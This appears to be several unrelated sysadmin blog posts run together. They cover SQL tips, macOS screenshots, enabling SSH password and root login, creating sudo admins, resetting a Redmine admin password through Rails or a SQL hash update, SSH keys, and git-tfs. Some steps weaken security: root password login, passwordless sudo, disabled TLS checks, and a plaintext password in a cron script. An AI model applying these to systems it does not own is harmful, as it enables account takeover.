• CURRENT_DATE - 1 works in PostgreSQL, but T-SQL doesn't add numbers to a date: in SQL Server 2025 it fails with "Operand type clash: date is incompatible with int". Write DATEADD(day, -1, CURRENT_DATE).
• m is month, not minute. Minute is mi or n.
• The datepart can't be a variable: DATEADD(@part, -1, GETDATE()) fails with "Invalid parameter 1 specified for dateadd". Branch with CASE.

Install Resharper Code Quality Analysis

Now you have to add additional step to the build definition of your project after build step, like this:

Then you need to set “Path to .sln or .csproj file”, you can find it in build log in build step. Usually it something like “YourProjectName” + .sln or “YourProjectName\YourProjectName” + .sln

System.Management.Automation.MethodInvocationException: Exception calling “GetFullPath” with “1” argument(s): “Illegal characters in path.” —> System.ArgumentException: Illegal characters in path.

Set “Fail build severity” to “Error” if you want your build fail only in case some critical problems have found.

The same in Terminal, on any macOS version:

mkdir -p ~/Screenshots
defaults write com.apple.screencapture location ~/Screenshots
killall SystemUIServer

Replace ~/Screenshots with your folder. Menu names are from macOS Tahoe 26.1.

Change the screenshot location with Shift-Command-5

1. Press Shift-Command-5. The Screenshot toolbar opens.
2. Click Options.
3. Under Save to, choose Desktop or Documents, or click Other Location… and select a folder. You can create a new folder in the same dialog.
4. Press Esc to close the toolbar.

The setting stays until you change it again. The other items under Save to (Clipboard, Mail, Messages, Preview) send the screenshot to the clipboard or to that app instead of a folder.

If you've reassigned the shortcut, open Screenshot from Applications → Utilities. On macOS High Sierra 10.13 and earlier there is no Screenshot app, so use Terminal.

Change the screenshot location with Terminal

Create the folder first, then point macOS at it. A quick way to get the path right: type the command with a trailing space, drag the folder from Finder onto the Terminal window, and its full path appears on the command line. Press Return.

defaults write com.apple.screencapture location ~/Documents/Screenshots

A dragged path needs no quotes: Terminal escapes the spaces in it. If you type a path with spaces by hand, put it in quotes. The shell doesn't expand ~ inside quotes, so write $HOME:

defaults write com.apple.screencapture location "$HOME/Pictures/Screen shots"

Then apply the change:

killall SystemUIServer

SystemUIServer handles the screenshot shortcuts. macOS starts it again right away with the new settings, and your apps stay open.

Both ways change the same location setting in com.apple.screencapture, so the folder you set last wins. macOS ignores the folder while Save to is set to Clipboard or an app; the fix is under Common mistakes below. To see the current value:

defaults read com.apple.screencapture location

The domain/default pair of (com.apple.screencapture, location) does not exist means you never changed the folder, so it's still the Desktop.

Reset the screenshot location to Desktop

Delete the setting, and macOS goes back to its default folder, the Desktop:

defaults delete com.apple.screencapture location
killall SystemUIServer

Or set the Desktop path explicitly:

defaults write com.apple.screencapture location ~/Desktop
killall SystemUIServer

Without Terminal: Shift-Command-5, Options, Save to, Desktop.

Copy a screenshot to the clipboard instead of a file

Hold Control along with the usual keys: Control-Shift-Command-3 for the whole screen, Control-Shift-Command-4 for a selection. Nothing is saved; paste the image with Command-V. To make this the default, choose Clipboard under Save to.

The screenshot isn't in the folder yet

After each shot a thumbnail floats in the bottom-right corner for a few seconds, and the file is saved when it goes away. Swipe the thumbnail to the right to save at once. To turn the thumbnail off, uncheck Show Floating Thumbnail in Options or run:

defaults write com.apple.screencapture show-thumbnail -bool false

Other screenshot settings: format, shadow, file name

These keys live in the same com.apple.screencapture domain.

File format. PNG is the default; jpg, heic, pdf and tiff also work:

defaults write com.apple.screencapture type jpg

No shadow around windows you capture with Shift-Command-4 and then Space:

defaults write com.apple.screencapture disable-shadow -bool true

File names start with "Screenshot" followed by the date and time. Change the prefix, or drop the date so files are numbered instead (Shot.png, Shot 1.png):

defaults write com.apple.screencapture name "Shot"
defaults write com.apple.screencapture include-date -bool false

Finish with killall SystemUIServer. To undo a setting, delete its key, for example defaults delete com.apple.screencapture type.

Common mistakes

• defaults write com.apple.screencapture ~/Screenshots without the word location fails with Rep argument is not a dictionary and Defaults have not been changed. The key goes before the path.
• Screenshots still go to the clipboard or open in an app after the Terminal command. Save to is set to Clipboard, Mail, Messages or Preview, and the location command doesn't change that. Pick a folder in Options, or run defaults write com.apple.screencapture target file and then killall SystemUIServer.
• The folder was deleted, renamed or sits on a drive that isn't connected, and screenshots stop saving. When macOS can't write to the folder, it says you don't have permission to save files in the location where screenshots are stored. Recreate the folder, pick another one, or reset the location to Desktop.
• Looking in the folder while the thumbnail is still on screen. The file appears a few seconds later.

More of my settings for a new Mac: Configure clean MacBook.

For example i have a table:

Id | Login | IsActive | Created
1  | test1 | 1        | 2016-01-01
2  | test1 | 0        | 2015-05-21
3  | test2 | 0        | 2016-07-03
4  | test2 | 0        | 2017-01-22

I want to select only one row per login, and this login should be active, if there’s no row where some login is active, I want to select the row that was created lately. So, in my case it’s row 1 and 4.

To solve this task I created this script:

with cte as (
  select *,
  rank() over (partition by [Login] order by [IsActive] desc, Created desc) as [r]
  from [User]
)
SELECT * FROM cte where [r] = 1

With rank() over I sorted rows in order I needed to and saved it in column [r]. Then I selected only first row in each group with this: SELECT * FROM cte where [r] = 1.

If you need to to use it in join, just place block “with” on top, like this:

with cte as (
  select *,
  rank() over (partition by [Login] order by [IsActive] desc, Created desc) as [r]
  from [User]
)
SELECT * FROM Employees emp
LEFT JOIN (SELECT * FROM cte where [r] = 1) u on emp.[Login]=u.[Login]

echo 'PasswordAuthentication yes' | sudo tee /etc/ssh/sshd_config.d/00-password.conf
sudo sshd -T | grep -i passwordauthentication
sudo systemctl restart ssh

The second command must print passwordauthentication yes. On Ubuntu 24.04 it may print Missing privilege separation directory: /run/sshd instead: run sudo systemctl start ssh and repeat. On Fedora, RHEL and AlmaLinux the service is sshd: sudo systemctl restart sshd. Then log in from your computer:

ssh alice@server

Keep your current session open until the password login works: if the new config is broken, it's your way back in.

Tested on Ubuntu 24.04 and 26.04, Debian 12 and 13, with password logins from another host.

Why PasswordAuthentication yes in sshd_config does nothing

Editing /etc/ssh/sshd_config, as this post advised in 2017, often does nothing on a cloud server. Near the top of that file Ubuntu, Debian, Fedora and RHEL 9+ have:

Include /etc/ssh/sshd_config.d/*.conf

RHEL 8 and CentOS 7 have neither the line nor sshd_config.d: the first command at the top fails with No such file or directory. Set PasswordAuthentication yes in /etc/ssh/sshd_config itself.

sshd keeps the first value it reads for each option (sshd_config(5)). Drop-in files come first, in alphabetical order, so any of them can say no and beat the main file. On cloud images it's usually 50-cloud-init.conf, written by cloud-init from its ssh_pwauth setting. 00-password.conf sorts before it.

To find who sets the option:

sudo sh -c 'grep -i passwordauthentication /etc/ssh/sshd_config.d/*.conf /etc/ssh/sshd_config'

The first line without # wins, and you can change its no to yes right there. sshd reads only *.conf files: 00-password without the extension is ignored.

Without sh -c, your own shell expands *.conf before sudo runs. On Fedora and RHEL 9+ only root can read sshd_config.d, so grep prints No such file or directory and shows only the main file.

sshd -T shows the new value before the restart; the running sshd keeps the old one until then.

How to connect to SSH with a password

On your computer:

ssh alice@server

alice is your user on the server, server is its IP address or domain name. On the first connection ssh shows the server's key fingerprint: type yes. Then it asks for the password and shows nothing as you type.

If you have SSH keys, ssh tries them first. To go straight to the password:

ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no alice@server

Restart SSH on Ubuntu 24.04: ssh, not sshd

Since 22.10 Ubuntu starts sshd through socket activation: systemd listens on port 22 (ssh.socket) and starts ssh.service on the first connection. On 24.04 that means:

• sudo systemctl restart sshd fails: Unit sshd.service not found. On Ubuntu 26.04 and Debian both names work.
• sudo systemctl reload ssh fails with ssh.service is not active, cannot reload if nobody has connected since boot. restart works either way.
• sudo sshd -t and sudo sshd -T say Missing privilege separation directory: /run/sshd for the same reason: systemd creates that directory when ssh.service starts and deletes it when the service stops. Run sudo systemctl start ssh and repeat.

A new Port or ListenAddress also needs sudo systemctl daemon-reload and sudo systemctl restart ssh.socket, per the package's README.Debian.

Run sudo sshd -t before restarting: silence means the config is valid, otherwise it names the file and line. With a typo the restart fails and new connections are refused, but open sessions survive.

Allow root login with a password

For root, PasswordAuthentication yes isn't enough. The default, PermitRootLogin prohibit-password, lets root in only with a key: the right password gets Permission denied, please try again. sshd -T may show it under the old name without-password. To allow it:

echo 'PasswordAuthentication yes' | sudo tee /etc/ssh/sshd_config.d/00-password.conf
echo 'PermitRootLogin yes' | sudo tee /etc/ssh/sshd_config.d/00-root.conf
sudo passwd root
sudo systemctl restart ssh

The first command is the one from the top of this post. Without it the no in 50-cloud-init.conf still wins, and root gets Permission denied (publickey).

Ubuntu locks the root password at install, hence passwd. A regular user with sudo is safer: how to create an admin user.

Password login for one user or one network

To allow passwords only for one account or your home network, add this to the end of /etc/ssh/sshd_config:

Match User alice
    PasswordAuthentication yes

Match Address 192.168.1.0/24
    PasswordAuthentication yes

A Match block lasts until the next Match or the end of the file, and its values beat the global ones, including the no in 50-cloud-init.conf. Check a specific connection:

sudo sshd -T -C user=alice,host=laptop,addr=203.0.113.5 | grep -i passwordauthentication

The password is right, but login fails

• The account has no password. Cloud-init creates the default user, like ubuntu, with password login locked. Set one: sudo passwd ubuntu.
• Too many authentication failures. ssh-agent offers every key first, and after six failures the server hangs up. Skip the keys with -o PubkeyAuthentication=no, as in "How to connect to SSH with a password" above.
• Permission denied (publickey) with no prompt. Passwords are off: check sshd -T. ssh -o BatchMode=yes alice@server shows the offered methods; (publickey,password) means passwords are on.

Do I need KbdInteractiveAuthentication?

Not for a password prompt: PasswordAuthentication yes is enough, and Ubuntu and Debian ship KbdInteractiveAuthentication no. It matters when you turn passwords off. With UsePAM yes, as Ubuntu and Debian ship it, KbdInteractiveAuthentication yes still asks for the password through PAM, so set both to no. Older configs, like 50-redhat.conf on AlmaLinux, use its old name, ChallengeResponseAuthentication.

Can I put the password in ~/.ssh/config?

No: the client has no such option, and Password gets Bad configuration option: password. Copy a key while password login is on:

ssh-copy-id alice@server

No key yet? ssh-keygen -t ed25519 creates one (more on SSH keys on a Mac). In a script that can't use a key, sshpass -e reads the password from SSHPASS:

SSHPASS="$SERVER_PASSWORD" sshpass -e ssh -o StrictHostKeyChecking=accept-new alice@server

accept-new saves the key of a server ssh hasn't seen. Without it the first connection stops at the host key question, and sshpass silently exits with code 6.

Protect password login with fail2ban

Passwords can be guessed. Use a long one and fail2ban:

sudo apt install fail2ban
sudo fail2ban-client status sshd

On Ubuntu 24.04, 26.04 and Debian 13 the sshd jail works out of the box: five failed logins in 10 minutes ban the IP for 10 minutes. On Debian 12 fail2ban won't start (Have not found any log file for sshd jail): Debian 12 doesn't install rsyslog, so there's no /var/log/auth.log. Point it at the journal and nftables, as Debian 13 does:

printf '[DEFAULT]\nbanaction = nftables\nbanaction_allports = nftables[type=allports]\nbackend = systemd\n' | sudo tee /etc/fail2ban/jail.local
sudo systemctl restart fail2ban

Once your key is on the server, turn passwords off: PasswordAuthentication no and KbdInteractiveAuthentication no in 00-password.conf, then restart ssh.

sudo adduser alice
sudo usermod -aG sudo alice

Replace alice with your username. On Ubuntu (24.04 and 26.04 LTS) and Debian that's it: /etc/sudoers gives the sudo group full root rights. On Fedora, RHEL, CentOS, Rocky and AlmaLinux the group is wheel.

Tested on Ubuntu 24.04 and 26.04, Debian 12 and 13, Fedora 45, AlmaLinux 9 and 10.

What adduser asks

adduser creates a group and home directory for the user and sets /bin/bash as the shell, then asks for:

• the password, twice;
• Full Name, Room Number, Work Phone, Home Phone, Other: Enter skips each one;
• Is the information correct? [Y/n]: Enter.

sudo adduser alice sudo (user, then group) does the same as the usermod line.

Create an admin user without prompts

For scripts, use useradd. Without -m it creates no home directory, and on Ubuntu its default shell is /bin/sh, so pass both:

sudo useradd -m -s /bin/bash -G sudo alice
sudo passwd alice

In a script, use chpasswd with the password in a variable, so it isn't written in the script or visible in the process list:

printf '%s:%s\n' alice "$ALICE_PASSWORD" | sudo chpasswd

Use printf, not echo: in /bin/sh on Ubuntu and Debian, echo mangles backslashes in the password.

For an account that logs in only with an SSH key:

sudo adduser --disabled-password --gecos "" alice
sudo usermod -aG sudo alice

This user has no password, yet sudo will ask for one. Set it with sudo passwd alice or allow passwordless sudo (below).

Check that the user is an admin

groups alice
sudo -l -U alice

groups must list sudo (wheel on Fedora/RHEL), and sudo -l -U must include (ALL : ALL) ALL ((ALL) ALL on Fedora/RHEL). For a regular user it says User alice is not allowed to run sudo. The real test is to log in as alice:

su - alice
sudo whoami   # prints root

"alice is not in the sudoers file": log in again

With classic sudo (Ubuntu 24.04, Debian, Fedora, RHEL) groups are fixed at login. If alice already had a session open, usermod doesn't change it: groups inside that session shows the old list, and sudo replies alice is not in the sudoers file. She has to log out and back in, or reconnect over SSH. groups alice reads /etc/group and shows sudo right away, so it won't reveal the problem.

Ubuntu 26.04 uses sudo-rs by default. It reads /etc/group on every call, so new rights work in an open session at once. A user without them gets I'm sorry alice. I'm afraid I can't do that.

Create an admin user on Debian

Same commands, same sudo group. One catch: if you set a root password in the Debian installer, it doesn't install sudo and doesn't add your user to the group. Fix it as root:

su -
apt install sudo
usermod -aG sudo alice

Keep the dash in su -. Plain su on Debian keeps your PATH without /usr/sbin, and you get usermod: command not found.

Fedora, RHEL, CentOS: the wheel group

sudo useradd alice
sudo passwd alice
sudo usermod -aG wheel alice

Here adduser is a symlink to useradd: it asks nothing and leaves the account without a password, so don't skip passwd. The home directory and /bin/bash are the defaults.

Passwordless sudo

Put a rule in /etc/sudoers.d and check its syntax first:

t=$(mktemp)
echo 'alice ALL=(ALL) NOPASSWD:ALL' > "$t"
sudo visudo -cf "$t" && sudo install -m 0440 "$t" /etc/sudoers.d/alice
rm "$t"

visudo -cf prints parsed OK or points at the error. mktemp creates a file only you can write to. Another user can create a fixed name like /tmp/alice before you, and you'd install their rule. Don't put a dot in the file name: sudo skips files in /etc/sudoers.d that contain . or end in ~, so alice.conf silently does nothing. For manual edits, sudo visudo -f /etc/sudoers.d/alice won't save a broken file.

Add an SSH key for the new user

From your laptop, if the server accepts password logins (how to allow them):

ssh-copy-id alice@server

No key yet? ssh-keygen -t ed25519 creates one (more on SSH keys on a Mac).

Without a password ssh-copy-id can't log in, so add the key on the server as an admin:

sudo mkdir -p /home/alice/.ssh
echo 'ssh-ed25519 AAAA... you@laptop' | sudo tee -a /home/alice/.ssh/authorized_keys
sudo chown -R alice:alice /home/alice/.ssh
sudo chmod 700 /home/alice/.ssh
sudo chmod 600 /home/alice/.ssh/authorized_keys

If .ssh or authorized_keys is writable by others, sshd ignores the key and answers Permission denied.

Remove admin rights

sudo gpasswd -d alice sudo     # wheel on Fedora/RHEL
sudo rm /etc/sudoers.d/alice   # only if you created it

With classic sudo, sessions alice already has open keep sudo until she logs out. sudo pkill -KILL -u alice ends them, along with all her processes. On Ubuntu 26.04 (sudo-rs) the removal works at once.

On Ubuntu and Debian sudo deluser alice sudo also works. To delete the account with its home directory: sudo deluser --remove-home alice on Ubuntu and Debian, sudo userdel -r alice everywhere.

Common mistakes

• usermod -G sudo alice without -a replaces all of alice's extra groups with sudo alone. Always use -aG.
• For a root shell, sudo -i is enough. The sudo su from my 2017 version of this post stacks two tools for the same result.
• Ubuntu's /etc/sudoers also has a %admin line, but no admin group exists by default. Use sudo.

Forgot the admin password? Run this on the server, in the Redmine directory (the one with config/database.yml):

cd /path/to/redmine
RAILS_ENV=production bundle exec rails runner '
  u = User.find_by_login("admin")
  u.password = u.password_confirmation = "NewPass-2026!"
  u.admin = true
  u.status = User::STATUS_ACTIVE
  u.save!
  puts "#{u.login}: password changed, admin=#{u.admin}"
'

It sets a new password, grants admin rights and unlocks the account. Put another login instead of admin to make that user an administrator. Redmine hashes the password itself, so you don't edit the database by hand. I ran it on Redmine 5.1, 6.1 and 7.0 and on a Bitnami 6.0 image.

Redmine default login and password

• Package from redmine.org or the official redmine Docker image: admin / admin.
• Bitnami VM or cloud image: login user, the password is in /home/bitnami/bitnami_credentials (read it with sudo cat). On AWS Lightsail: cat $HOME/bitnami_application_password.
• Bitnami Docker image: user / bitnami1 in the Debian-based images that used to be bitnami/redmine and now live in bitnamilegacy/redmine. In Bitnami Secure Images the login also defaults to user, and the password is whatever you set in REDMINE_PASSWORD.

If the default doesn't work, someone has already changed it. Reset it with the command above.

Rails console alternative

The same steps one by one, handy when you want to look around first:

cd /path/to/redmine
RAILS_ENV=production bundle exec rails console

# who the admins are
User.where(admin: true).pluck(:login)

u = User.find_by_login("admin")
u.password = u.password_confirmation = "NewPass-2026!"
u.admin = true
u.status = User::STATUS_ACTIVE
u.save!

# returns the user if the password works
User.try_to_login("admin", "NewPass-2026!")

Leave the console with exit.

Make a Redmine user an admin

If you can sign in as another admin, go to Administration → Users, click the user's login, tick "Administrator" and click "Save".

If no admin can sign in, run the command from the top of this post with that user's login instead of admin. If rails runner won't start, grant the rights in the database. The query runs as is in MySQL and PostgreSQL; put the user's login instead of jsmith:

UPDATE users SET admin = true WHERE login = 'jsmith';

How to connect to the database is covered below, in the SQL section.

Reset the password on Bitnami Redmine

Current Bitnami VMs and cloud images keep Redmine in /opt/bitnami/redmine, and the admin login there is user, not admin:

cd /opt/bitnami/redmine
RAILS_ENV=production bundle exec rails runner 'u = User.find_by_login("user"); u.password = u.password_confirmation = "NewPass-2026!"; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!'

Older stacks, like the one I ran in 2017 with Redmine 3.x, keep the app in apps/redmine/htdocs inside the stack directory and bring their own Ruby. Load its environment first, then run the same command:

# the installer version lives in /opt/redmine-<version>
cd /opt/bitnami
./use_redmine
cd apps/redmine/htdocs

More on that layout in installing and configuring Bitnami Redmine and installing plugins.

Redmine in Docker

Official redmine image: the working directory and RAILS_ENV=production are already set, so with a container named redmine:

docker exec redmine bundle exec rails runner 'u = User.find_by_login("admin"); u.password = u.password_confirmation = "NewPass-2026!"; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!'

Bitnami image: the app is in /opt/bitnami/redmine:

docker exec -w /opt/bitnami/redmine redmine bundle exec rails runner -e production 'u = User.find_by_login("user"); u.password = u.password_confirmation = "NewPass-2026!"; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!'

The Bitnami image prints the rails new help after the command finishes. That's noise from its bin/rails stub; the password is already saved. Changing REDMINE_PASSWORD later won't help either: the image reads it only on first start.

Reset the Redmine password via SQL

Use this when Ruby on the server is broken and the runner won't start. The database name, user and password are in config/database.yml, section production:

mysql -u redmine -p redmine            # MySQL or MariaDB
psql -U redmine -h localhost redmine   # PostgreSQL

That's how it looked on my Bitnami server back then, the database was called bitnami_redmine:

Find the account. The users table also holds groups and the anonymous user, hence the type filter. status is 1 for active, 2 for registered, 3 for locked:

SELECT id, login, admin, status FROM users WHERE type = 'User';

Set the password to password, unlock the account and make Redmine ask for a new password at the next login:

UPDATE users
SET hashed_password = '353e8061f2befecb6818ba0c034c632fb0bcae1b',
    salt = '',
    status = 1,
    must_change_passwd = true
WHERE login = 'admin';

The query runs as is in MySQL and PostgreSQL. To make another user an admin, add admin = true to the SET and put their login in WHERE.

Why the password is "password"

Redmine compares hashed_password with SHA1(salt + SHA1(password)), see check_password? in app/models/user.rb. With an empty salt that's SHA1(SHA1(password)), and 353e8061… is exactly SHA1(SHA1("password")). Once you change the password in the UI, Redmine generates a fresh random salt.

To set your own password, MySQL and MariaDB compute the hash in place:

UPDATE users
SET hashed_password = SHA1(SHA1('My-own-Pass_2026')), salt = '', status = 1
WHERE login = 'admin';

PostgreSQL has no built-in SHA1, so compute the hash in the shell and paste it into the UPDATE. On macOS use shasum instead of sha1sum:

printf '%s' 'My-own-Pass_2026' | sha1sum | cut -c1-40 | tr -d '\n' | sha1sum | cut -c1-40

Forgot your Redmine password as a regular user

Click "Lost password" on the login page: Redmine emails a reset link if the admin left that option on and email delivery works. Otherwise ask an admin to set a new password in Administration → Users.

When the reset doesn't work

• undefined method 'password_confirmation=' for nil (older Ruby: undefined method `password_confirmation=' for nil:NilClass): there's no user with that login. List them with User.pluck(:login).
• Validation failed: Password is too short (minimum is 8 characters): the new password has to pass the rules in Administration → Settings → Authentication.
• Login still fails: the account may sign in through LDAP, and then Redmine checks the password there. Add u.auth_source = nil before u.save! to switch it to a local password.
• Redmine 4.2+ asks for a two-factor code from a lost phone: add Redmine::Twofa.for_user(u)&.destroy_pairing_without_verify! before u.save!.
• Without RAILS_ENV=production, Rails starts in development mode: it either fails to boot or opens the development database instead of yours.
• Redmine emails all admins a security notice when someone gets admin rights. That's expected.

pbcopy < ~/.ssh/id_ed25519.pub

The command prints nothing. Paste the key with Cmd+V into GitHub, GitLab or a server panel.

Keys made with the 2017 version of this post, or with a bare ssh-keygen before OpenSSH 9.5 (2023), are RSA:

pbcopy < ~/.ssh/id_rsa.pub

If zsh answers no such file or directory, you don't have that key yet. Generate one (below).

Checked with OpenSSH 10 (macOS 26.1 ships 10.0p2) and an Ubuntu 26.04 server.

Copy the public key, not the private one

ls ~/.ssh

Each key is two files. id_ed25519 is the private key: it never leaves your Mac. id_ed25519.pub is the public key, safe to share. It's one line:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... you@example.com

If your clipboard starts with -----BEGIN OPENSSH PRIVATE KEY----- or, for an old RSA key, -----BEGIN RSA PRIVATE KEY-----, you copied the private key. Don't paste it anywhere.

Without pbcopy: run cat ~/.ssh/id_ed25519.pub, select the line from ssh- to the end and press Cmd+C.

Generate a new SSH key on Mac

ssh-keygen -t ed25519 -C "you@example.com"

Press Enter to save to the default ~/.ssh/id_ed25519, then type a passphrase twice (more below). ssh-keygen creates ~/.ssh if needed, with mode 700 for the folder and 600 for the private key. Then copy the key with pbcopy.

-C adds a comment to the end of the key, so you can tell keys apart in a server's authorized_keys and in ssh-add -l. Without it the comment is user@hostname.

Since OpenSSH 9.5 a bare ssh-keygen makes Ed25519 too. I keep -t ed25519 so older systems give the same key.

If it says id_ed25519 already exists and asks Overwrite (y/n)?, answer n. Overwriting deletes the old key, and every server that trusted it stops letting you in.

Passphrase and macOS Keychain

The passphrase encrypts the private key, so a copied file is useless without it. To stop typing it on every connection, store it in Keychain:

ssh-add --apple-use-keychain ~/.ssh/id_ed25519

And add to ~/.ssh/config (create it if missing):

Host *
  AddKeysToAgent yes
  UseKeychain yes

UseKeychain makes ssh read the passphrase from Keychain and save it there once you type it correctly. AddKeysToAgent loads the key into ssh-agent on first use, so after a reboot you don't run ssh-add again.

Older guides use ssh-add -K. On macOS 26.1 it still works with a warning, and the man page says future releases will drop it.

To check the passphrase, run ssh-keygen -y -f ~/.ssh/id_ed25519. The right one prints the public key, a wrong one gives incorrect passphrase supplied to decrypt private key. The same command restores a deleted .pub:

ssh-keygen -y -f ~/.ssh/id_ed25519 > ~/.ssh/id_ed25519.pub

ssh-keygen -p -f ~/.ssh/id_ed25519 adds or changes the passphrase.

If you share ~/.ssh/config with Linux machines, ssh there stops with Bad configuration option: usekeychain. Make this the first line of the file:

IgnoreUnknown UseKeychain

RSA key for old servers

Ed25519 arrived in OpenSSH 6.5 in January 2014. If an older server rejects your key, make an RSA one:

ssh-keygen -t rsa -b 4096 -C "you@example.com"

It goes to ~/.ssh/id_rsa. Without -b you get 3072 bits. An RSA key you already have still works with current servers.

With an old server the key alone isn't enough. Servers older than OpenSSH 7.2 (2016) accept an RSA key only with a SHA-1 signature (ssh-rsa), and since OpenSSH 8.8 (2021) ssh doesn't sign that way by default. ssh then skips the key and asks for a password or answers Permission denied (publickey). The cause shows only in ssh -v: no mutual signature algorithm. Allow SHA-1 for that one server in ~/.ssh/config, with the address you type after @ in place of the example:

Host oldserver.example.com
  PubkeyAcceptedAlgorithms +ssh-rsa
  HostKeyAlgorithms +ssh-rsa

HostKeyAlgorithms matters if the server has only an RSA host key: without it ssh stops before login with no matching host key type found. Their offer: ssh-rsa. ssh-copy-id reads these lines too. Don't put them under Host *: OpenSSH turned SHA-1 off because collision attacks on it became practical.

Copy SSH key to a server with ssh-copy-id

macOS has ssh-copy-id built in:

ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server

It logs in once, usually with your password, and appends the key to ~/.ssh/authorized_keys, creating the folder and file with modes 700 and 600. On success it prints Number of key(s) added: 1.

Keep -i. Without it ssh-copy-id takes keys from ssh-agent or the newest ~/.ssh/id*.pub, which may be the wrong key.

ssh-copy-id needs a way in: a password or another key the server already accepts. If you have neither, enable passwords for a while or add the key from the server side (below).

Add the key to authorized_keys by hand

The same without ssh-copy-id, one line from the Mac:

cat ~/.ssh/id_ed25519.pub | ssh user@server 'mkdir -p ~/.ssh && chmod 700 ~/.ssh && { echo; cat; } >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys'

If SSH doesn't let you in at all, open a shell on the server another way (your host's web console, say). Log in as the user you'll connect as and add the key, with yours in place of the example:

mkdir -p ~/.ssh
echo >> ~/.ssh/authorized_keys
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... you@example.com' >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Use >>: a single > overwrites the file and deletes other keys. The empty echo adds a line break: if the file's last line has none, the new key sticks to it and doesn't work. sshd skips empty lines.

Adding a key for another user with sudo is covered in how to create an admin user.

Add SSH key to GitHub

1. pbcopy < ~/.ssh/id_ed25519.pub
2. On GitHub: profile picture → Settings → SSH and GPG keys → New SSH key.
3. Title: your Mac's name. Key type: authentication. Paste into Key, click Add SSH key.

Or with GitHub CLI:

gh ssh-key add ~/.ssh/id_ed25519.pub --title "MacBook Air"

If gh replies that it needs the admin:public_key scope, run gh auth refresh -h github.com -s admin:public_key and repeat the command.

Check the connection:

ssh -T git@github.com

The first time, ssh shows GitHub's fingerprint. If it's SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU, type yes. Hi username! You've successfully authenticated means it works. Permission denied (publickey) means GitHub doesn't know this key.

If git push still asks for a username or token, the remote uses HTTPS. Switch it:

git remote set-url origin git@github.com:user/repo.git

Creating a repo and the first push are covered in Git configuration and first push.

Common errors

• zsh: no such file or directory: /Users/you/.ssh/id_ed25519.pub: no key with that name. ls ~/.ssh shows what you have. If there's id_rsa.pub, copy that, if nothing, generate a key.
• Permissions 0644 for '/Users/you/.ssh/id_ed25519' are too open and This private key will be ignored: other users can read the private key, so ssh refuses it. Run chmod 700 ~/.ssh and chmod 600 ~/.ssh/id_ed25519.
• Permission denied (publickey) from a server: the key isn't in that user's authorized_keys, or sshd ignores the file. If ~/.ssh or authorized_keys is writable by everyone (777, 666), sshd logs Authentication refused: bad ownership or modes. ssh -v user@server shows which keys your Mac offers.
• Passphrase asked every time: set up Keychain as above.

http://azureprice.net/

There you can easily find out what is the best region for selected type of VM.

http://git-tfs.com

Right click on My Computer -> Properties -> Advanced system settings -> Environment variables -> System variables -> Path

Add ;C:\TfsMigration\GitTfs-0.25.1 to the end of Path variable.

Open Command Prompt as Administrator and exec following commands, don’t forget to change commands with your variables:

git tfs clone http://myserver:8080/tfs/DefaultCollection $/PIK.BOP/Trunk . --branches=all

git remote add origin http://user@myserver/apps/autobop-backend.git

I use -c http.sslVerify=false because I have problems with my server certificate.

git -c http.sslVerify=false push --all origin

If your server configured properly, I recommend you to use previous command without -c http.sslVerify=false:

git push --all origin

Full description about migrating from tfs to git you can found here:

https://github.com/git-tfs/git-tfs/blob/master/doc/usecases/migrate_tfs_to_git.md

tr.issue.overdue td.id a, tr.issue.overdue td.subject a, .issue.overdue td.due-date { color: #f00; }
tr.private td.subject a:before {
  content: '';
  display: inline-block;
  margin: 0 3px 0 -5px;
  height: 11px;
  vertical-align: middle;
  border-left: 2px solid #d22;
  border-right: 1px solid #d22;
}

Original article: http://www.redmine.org/issues/20812

cp use_redmine proceed_mail

Edit new document:

nano ./proceed_mail

Replace text with following (put your variables):

#!/bin/bash

. /opt/redmine-3.3.2-2/scripts/setenv.sh

rake -f /opt/redmine-3.3.2-2/apps/redmine/htdocs/Rakefile redmine:email:receive_imap \
  RAILS_ENV="production" host=mail_server username=redmine@example.com password=your_password \
  move_on_success=read move_on_failure=failed

To run Cron config, exec command:

crontab -e

Add following line to the end of the file (put your variables):

*/5 * * * * /opt/redmine-3.3.2-2/proceed_mail

New-EventLog -LogName Application -Source "TestApi"

Now an app or a script can write events with the source TestApi. Run the window as administrator: to check that the name is unique, New-EventLog searches every log, including Security, which a regular user can't read.

In PowerShell 7 this command doesn't exist, and you get The term 'New-EventLog' is not recognized. What to do there is below.

Check that the source exists

# True or False; also needs an elevated window
[System.Diagnostics.EventLog]::SourceExists("TestApi")

# Works without admin rights: a source is a registry key
Test-Path "HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Application\TestApi"

A second New-EventLog with the same name fails with an error that the source is already registered. To make a script safe to rerun:

if (-not [System.Diagnostics.EventLog]::SourceExists("TestApi")) {
    New-EventLog -LogName Application -Source "TestApi"
}

Write and read events

Write-EventLog -LogName Application -Source "TestApi" `
    -EventId 1000 -EntryType Information -Message "TestApi started"

# The last five events from this source, in Windows PowerShell and PowerShell 7
Get-WinEvent -MaxEvents 5 -FilterHashtable @{
    LogName = 'Application'; ProviderName = 'TestApi'
}

-EntryType takes Error, Warning, Information, SuccessAudit or FailureAudit. -EventId goes up to 65535.

PowerShell 7 has no New-EventLog

Microsoft removed all the *-EventLog cmdlets from PowerShell 7. Use the .NET class directly or call Windows PowerShell 5.1, which ships with Windows:

# .NET API, in an elevated PowerShell 7 window on Windows
[System.Diagnostics.EventLog]::CreateEventSource("TestApi", "Application")
[System.Diagnostics.EventLog]::WriteEntry(
    "TestApi", "TestApi started", "Information", 1000)

# Or run the old command in Windows PowerShell
powershell.exe -NoProfile -Command `
    "New-EventLog -LogName Application -Source TestApi"

Microsoft points to New-WinEvent as the replacement, but it writes events for ETW providers with a manifest, not for a classic source like TestApi.

Without PowerShell: eventcreate

The eventcreate command in cmd writes an event and registers the source if it doesn't exist yet. It writes only with sources it registered itself: with TestApi from New-EventLog above it fails with ERROR: Source parameter is used to identify custom applications/scripts only (not installed applications). Give it its own name:

